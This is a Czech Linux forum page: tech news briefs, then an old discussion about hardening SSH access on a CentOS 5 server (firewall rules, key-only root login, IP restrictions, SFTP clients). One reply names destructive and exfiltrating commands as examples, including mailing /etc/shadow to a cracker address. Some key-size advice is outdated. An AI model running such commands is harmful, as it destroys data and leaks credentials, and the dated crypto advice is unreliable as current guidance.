Byla vydána nová verze 24.2 linuxové distribuce Manjaro (Wikipedie). Její kódové jméno je Yonada. Ke stažení je v edicích GNOME, KDE PLASMA a XFCE.
Open source platforma Home Assistant (Demo, GitHub, Wikipedie) pro monitorování a řízení inteligentní domácnosti byla vydána ve verzi 2024.12.
Byla vydána verze 31.0 svobodného softwaru OBS Studio (Open Broadcaster Software, Wikipedie) určeného pro streamování a nahrávání obrazovky počítače. Přehled novinek na GitHubu. Instalovat lze také z Flathubu.
Emulátory Box86 a Box64 umožňující spouštět linuxové aplikace pro x86 a x86_64 na jiných než x86 a x86_64 architekturách, například ARM a ARM64, byly vydány v nových verzích: Box86 0.3.8 a Box64 0.3.2. Ukázka možností na YouTube.
Byla vydána nová verze 6.1 neměnné (immutable) distribuce openSUSE Leap Micro určené pro běh kontejneru a virtuálních strojů. S vydáním verze 6.1 byla ukončena podpora verze 5.5.
Poslanci dnes ve třetím čtení schválili návrh zákona o digitálních financích. Cílem zákona je implementace předpisů Evropské unie v oblasti digitálních financí, konkrétně nařízení DORA (Digital Operational Resilience Act) o digitální provozní odolnosti finančního sektoru a nařízení MiCA (Markets in Crypto Assets) o trzích kryptoaktiv. Zákon nyní míří k projednání do Senátu ČR. U kryptoměn bude příjem do 100 tisíc Kč za zdaňovací období osvobozen od daně, podobně jako u cenných papírů, a to za podmínky jejich držení po dobu alespoň 3 let.
O víkendu (15:00 až 23:00) proběhne EmacsConf 2024, tj. online konference vývojářů a uživatelů editoru GNU Emacs. Sledovat ji bude možné na stránkách konference. Záznamy budou k dispozici přímo z programu.
Mozilla má nové logo a vizuální identitu. Profesionální. Vytvořeno u Jones Knowles Ritchie (JKR). Na dalších 25 let.
Bylo rozhodnuto, že nejnovější Linux 6.12 je jádrem s prodlouženou upstream podporou (LTS). Ta je aktuálně plánována do prosince 2026. LTS jader je aktuálně šest: 5.4, 5.10, 5.15, 6.1, 6.6 a 6.12.
Byla vydána nová stabilní verze 3.21.0, tj. první z nové řady 3.21, minimalistické linuxové distribuce zaměřené na bezpečnost Alpine Linux (Wikipedie) postavené na standardní knihovně jazyka C musl libc a BusyBoxu. Z novinek lze vypíchnou počáteční podporu architektury Loongson LoongArch64.
AbcLinuxu.cz
ITBiz.cz
HDmag.cz
AbcPráce.cz
authorized_keys.
AllowUsers root a tím pádem nemusím uživatelům, u kterých nechci ssh přístup nastavovat prázdnou shell. Dále jsem tam změnil port na 12345. Iptables by v defaultní konfiguraci (CentOS 5) měl zahazovat vše u čeho nemá výjimku, takže jsem pomocí setup vypnul díru pro SSH a potom zkontroloval patřičný soubor /etc/sysconfig/iptables jestli je to správně uložené. Potom jsem pomocí iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --destination-port 12345 -j ACCEPT vytvořil díru.
No kdyby to fungovalo, tak bych sem nepsal. Problém je v tom, že firewall propouští naprosto vše. Spuštěný by být měl.
Dále jsem tam změnil port na 12345
Smysl tohoto opatření mi poněkud uniká, ale na toto téma se tu flamovalo už tolikrát a tak intenzivně, že než začnete protestovat, najděte si některou z těch starších diskusí.
ak sa bavime o bezpecnosti, tak moznost povolit root cez ssh by som IMHO vylucil ako prvu vec
A proč to? Protože se to dělá?
sshd démonem, takže tím omezíte útočníkovi prostředky i v případě, že by se snažil napadnout sshd démona samotného (a obejít tak autorizaci klíčem/heslem). Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud. Pokud máte celkem snadný fyzický přístup k počítači, problém to být nemusí. Pokud je ale ten přístup k hardwaru složitý, neriskoval bych, že z nějakého důvodu nebudu schopen se k serveru připojit z určené IP adresy a tudíž nebudu schopen se serverem dělat nic.
Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud.
Nebo jestli se ta adresa nezmění a nedozvíte se o tom na poslední chvíli (nebo dokonce až potom). I to už jsem bohužel zažil…
Použití klíče mám určitě v plánu nasadit, ale vzhledem k tomu, že mě honí čas tak to na dobu neurčitou udělám zatím tak.
Ono to není zase tak složité. Základní princip je ten, že na straně klienta vygenerujete pomocí ssh-keygen pár klíčů (např. 'ssh-keygen -t dsa -b 1024') a veřejný (v tomto případě ~/.ssh/id_dsa.pub) pak zkopírujete na server do '~/.ssh/authorized_keys'.
Jak byste ohodnotili "mnou navržený" systém zabezpečení (změna portu, přístup pouze z jedné IP, netriviální heslo) známkou jako ve škole co se bezpečnost týče?
Známkování snad raději ne, spíš slovní hodnocení. Změna portu: k ničemu. Omezení na jednu IP: bezesporu užitečné, ale důkladně bych si rozmyslel možné důsledky. Netriviální heslo: nezbytné.
Co vy osobně považujete za netriviální heslo - příklad?
Tady hodně záleží na tom, co tím heslem chráníte. Pro roota na počítači s možností autentizace heslem přes ssh bych asi použil výstup 'pwgen 12' nebo 'pwgen -s 8'
AllowUsers root) a potom tedy zakázat přihlašování pomocí hesla a povolit přihlášení pouze pomocí klíče. Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Ve zkratce tedy - jak nastavit, aby se bylo možné přihlásit pouze na roota, pouze klíčem a pouze z jedné konkrétní IP (pomocí pravidel u klíčů).
Openssh-server mám ve verzi 4.3p2.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
Díky moc za rady
P.S.: Jak moc je tohle bezpečné? Vy ve mě pěstujete pěknou paranoiu :D
a potom tedy zakázat přihlašování pomocí hesla
pro roota 'PermitRootLogin without-password', obecně
'PasswordAuthentication no'.
Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Na začátek řádku s klíčem přidejte klauzuli from, např.
from="1.2.3.4" ssh-dss AAAAB3NzaC1kc3MAAA...
Blíže viz sshd(8), sekce AUTHORIZED_KEYS FILE FORMAT.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
RSA2 a DSA vyjdou AFAIK nastejno, hlavně ať to není RSA1. Délka pro běžné použití IMHO postačí 1024 bitů.
kde jsem náhodou zahlédl, že autoři důrazně nedoporučují NEpoužívat DSS klíč (dál jsem nečetl proč)
Právě to "proč" bývá v podobných důvodech důležitější než sama informace, že to nedoporučují…
Jak jsem četl dál vaši diskusi, tak mě zaujala zmíňka o HW klíčích. Už jsem něco takového někde viděl, ale můžete mi dát nějaký odkaz na nějaké dobré řešení vhodné právě pro tento účel?
Mám v plánu zkusit některý z USB tokenů od iKey. Praktické zkušenosti s nimi zatím nemám, ale našel jsem článek, podle kterého by měly v Linuxu fungovat hladce.
http://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html#faq-dsa
Díky za info na ten token.
IMHO v tom není rozdíl, protože je to klasické SSH spojení akorát s tím rozdílem, že tohle se zaměřuje pouze na práci se soubory.Ono je to přímo klasické
ssh, jenom je sshd nakonfigurováno tak, aby tyhle příkazy předával ke zpracování nějakému dalšímu programu. Takže implementace té ssh části je ve vašem případě OpenSSH.
Nicméně předpokládám, že pro běžnou práci (uploadování a úpravy produkčních dat) doporučujete vytvořit uživatele s právy pouze pro tyto data, že? ;)Ano. Zvlášť jestli to má být pro někoho dalšího – asi by nebylo dobré nechat běžné uživatele editovat třeba
/etc/passwd, /etc/shadow atd.
uživatel co chce užít služeb SFTP musí být v /etc/sshd_config připsaný v AllowUsers a musí mít validní shellNemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nejznámější je asi scponly.
rm -rf /, shutdown -h now, sendmail cracker@example.com < /etc/shadow apod. A to „omylem“ udělá jen těžko. Protože nemá WinSCP veřejné zdrojové kódy, nedá se mu samozřejmě věřit tolik jako PuTTY, ale nepovažoval bych ho za nebezpečný. Rozhodně je daleko pravděpodobnější, že si ty soubory smažete nějakým omylem sám… Jinak pokud byste trval na PuTTY a nevadil by vám příkazový řádek, i PuTTY má klienta pro SFTP.
BTW neměl bych na tenhle dotaz založit raději nové vlákno?Raději ne, protože to by byl dotaz na program čistě pro Windows, a to by nemuselo projít
...a pokud vám na datech na klientovi záležíNechtěl jste místo klient napsat server? Takže pokud to shrneme, je to podle vás bezpečná cesta i pro přihlášení pod rootem? WinSCP otevřené kódy má... BTW - Co se dá zkazit příkazem
shutdown -h now? :D
Nechtěl jste místo klient napsat server?Nechtěl. Měl jsem na mysli útok, kdy jedna komunikující strana zneužije nějaké díry v programu a ovládne jej a získá tak možnost spouštět s právy uživatele, který spustil program. A protože jste se ptal na klienta WinSCP, znamenalo by to, že by útočník přes sshd server zneužil případnou chybu ve WinSCP a získal tak kontrolu nad klientským počítačem. Ovšem pokud se s tím WinSCP chcete připojovat jen na vlastní server, měl byste v takovém případě starosti spíš s útočníkem na serveru, než s tím, že se vám snaží ještě přes WinSCP ovládnout klientský počítač. Jinak to celé bylo myšleno spíš žertem. Ale třeba u webu už tenhle princip (kdy je potřeba chránit hlavně server) neplatí, tam musí proti útoku druhé strany být odolný nejen server, ale i prohlížeč. Ale to už je zcela mimo téma.
WinSCP otevřené kódy má...No jo, GPL… Jak jsem přišel na to, že WinSCP patří k těm programům, jejich autor nepovažuje zveřejnění zdrojáků za přínos projektu? Podle Wikipedie byly zdrojáky pod GPL zveřejněny v roce 2003, tak že bych si pamatoval něco z předchozí doby?
Co se dá zkazit příkazem shutdown -h now?Je to celkem dobrý DoS útok – počítač pak přestane poskytovat služby, které by poskytovat měl. Sice to není takový průšvih, jako kdyby vám někdo něco cracknul nebo získal přístup k něčemu, k čemu přístup mít nemá, ale problém je to taky.
Tím mám namysli třeba nějaké mezery v implementaci zabezpečení či samotného přihlašování pomocí klíče, které by nemuselo být tak robustní, jako má PuTTY.Jedině že by WinSCP vyzradil heslo k privátnímu klíči nebo klíč samotný. Jinak „síla“ šifrování nezávisí na klientovi, ta je určená použitým protokolem.
Může být nějaký problém v tom, že vlastníkem souborů, které se budou veřejně přístupné pomocí http, bude root?Web server musí ty soubory vidět, tj. buď musí být pro čtení všem nebo pro skupinu, ve které musí být i uživatel, pod kterým běží server. Jinak pokud to nejsou spustitelné soubory s nastaveným
suid bitem, ničemu nevadí, že je vlastní root.
Jinak to je hodně zajímavý DoS útok, prostě se vypne stroj a oběť má utrum :DPo fyzické likvidaci serveru je to hned druhý nejúčinnější způsob
/home/COMPANY , ssh > 1024 bezi sshd klasicky .. -o povolenie jedinej IPcky na ssh: firewall/tcp wrappers (pripadne oboje) -o root nepovolovat, kym nie je treba: malokedy uzivatel potrebuje vsetky prava,ako ma root -o prihlasovanie pomocou klucov, pripadne silne lokalne heslo ( existuju programy/nastavenia, ktore kontroluju silu hesiel uzivatelov).. a suhlasim s tebou, robit 'bezpecnostne opatrenia' len preto, ze som to niekde pocul, nema zmysel .. otazne je, do akej hlbky clovek chape, ako veci funguju a dokaze sa proti tomu branit .. ja napriklad neviem ako presne funguje sshd (neprogramoval som ho, jeho kody som nikdy nestudoval) a teda neviem, ake (potencionalne) slabe miesta ma .. ale to uz nepatri do tohto prispevku ..
sshd na jiný port, protože na portu 22 už mi běží jiná služba, je sice oprávněné, ale nijak to nesouvisí s původním tématem diskuze. V diskuzi bylo zmíněno přesměrování portu 22 z důvodu (pseudo)zabezpečení, vy ho přesměrováváte kvůli charakteru TCP/IP komunikace, kdy na jednom páru IP adresa:port může naslouchat jen jeden program.
Privátní klíč nemusí být chráněn jenom heslem. Může být uložen na nějakém externím zařízení, které při běžném způsobu používání nevydá privátní klíč, ale jen přijme data k zašifrování a heslo/PIN a vrátí zašifrovaný výsledek.ano, samozrejme je viac variant - ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla.. myslim , ze uz ale nema zmysel dalej toto rozvijat - zbytocne mutit vodu tam, kde netreba .. suhlasim s misovym vyrokom, ze robit na oko zabezpecenie `lebo je to tak spravne` je nezmysel .. autor otazky dostal odpoved na co sa pytal, myslim, ze bude rozmumne to nechat uz tak ..
ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla
Záleží na technickém provedení, ale pokud neuděláte něco postaveného na hlavu, určitě nebude méně bezpečná a téměř jistě bude bezpečnější.
presmerovanie ssh na iny port moze byt dobra vec, ak napriklad na ssh:22 bezi sshd, ktore je chroot-nute len napriklad pre uzivatelov COMPANY v /home/COMPANY , ssh > 1024 bezi sshd klasicky ..
Což je ale něco úplně jiného, než o čem tam i tady byla řeč…
napriek tomu tvrdim, ze nechat root uzivatela povoleneho na ssh nie je dobra volba ..
Je hezké, že to tvrdíte, ale pokud nenapíšete proč, neočekávejte, že tomu budu přikládat nějakou váhu.
tak isto ako nebudem trubit do sveta, ake mam logins na serveri
Neměl byste spíš napsat, že to nebudete vědomě rozhlašovat? :-)
13.3.2008 13:32
MMMMMMMMM | skóre: 44
| blog: unstable
| Valašsko :-)
AllowUsers, pro vyjmenování kdo se odkud může hlásit. Na tohle by to šlo taky použít, i když předchozí rady jsou k tomu vhodnější.
Tiskni
Sdílej:
